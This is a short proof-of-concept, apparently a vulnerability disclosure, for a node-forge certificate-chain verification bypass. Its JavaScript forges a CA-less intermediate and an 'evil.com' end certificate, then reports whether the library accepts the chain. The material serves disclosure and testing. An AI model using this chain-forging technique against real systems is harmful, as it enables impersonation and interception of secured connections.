CVE-2026-33896 node-forge证书链验证绕过漏洞

const forge = require('node-forge'); // 1. Generate a Root CA (valid) const rootKeys = forge.pki.rsa.generateKeyPair(2048); const rootCert = forge.pki.createCertificate(); rootCert.publicKey = rootKeys.publicKey; rootCert.serialNumber = '01'; rootCert.validity.notBefore = new Date(); rootCert.validity.notAfter = new Date(); rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 1); rootCert.setSubject([{name: 'commonName', value: 'Root CA'}]); rootCert.setIssuer(rootCert.subject.attributes); rootCert.setExtensions([{name: 'basicConstraints', cA: true}]); rootCert.sign(rootKeys.privateKey); // 2. Generate a "Leaf" certificate acting as Intermediate (The Exploit) // Vulnerability: Missing basicConstraints and keyUsage const leafKeys = forge.pki.rsa.generateKeyPair(2048); const leafCert = forge.pki.createCertificate(); leafCert.publicKey = leafKeys.publicKey; leafCert.serialNumber = '02'; leafCert.validity.notBefore = new Date(); leafCert.validity.notAfter = new Date(); leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 1); leafCert.setSubject([{name: 'commonName', value: 'Fake Intermediate'}]); leafCert.setIssuer(rootCert.subject.attributes); // Intentionally omit extensions to exploit the bug leafCert.sign(rootKeys.privateKey); // 3. Generate a Malicious End-Entity Certificate signed by the "Leaf" const badKeys = forge.pki.rsa.generateKeyPair(2048); const badCert = forge.pki.createCertificate(); badCert.publicKey = badKeys.publicKey; badCert.serialNumber = '03'; badCert.validity.notBefore = new Date(); badCert.validity.notAfter = new Date(); badCert.validity.notAfter.setFullYear(badCert.validity.notBefore.getFullYear() + 1); badCert.setSubject([{name: 'commonName', value: 'evil.com'}]); badCert.setIssuer(leafCert.subject.attributes); badCert.sign(leafKeys.privateKey); // 4. Verification const caStore = forge.pki.createCaStore(); caStore.addCertificate(rootCert); try { // Chain: badCert -> leafCert (Fake CA) -> rootCert forge.pki.verifyCertificateChain(caStore, [badCert, leafCert], (verified, depth, chain) => { if (verified) { console.log('[+] Certificate chain verified successfully (VULNERABLE)'); } else { console.log('[-] Verification failed (SECURE)'); } return verified; }); } catch (e) { console.log('Error during verification: ' + e.message); }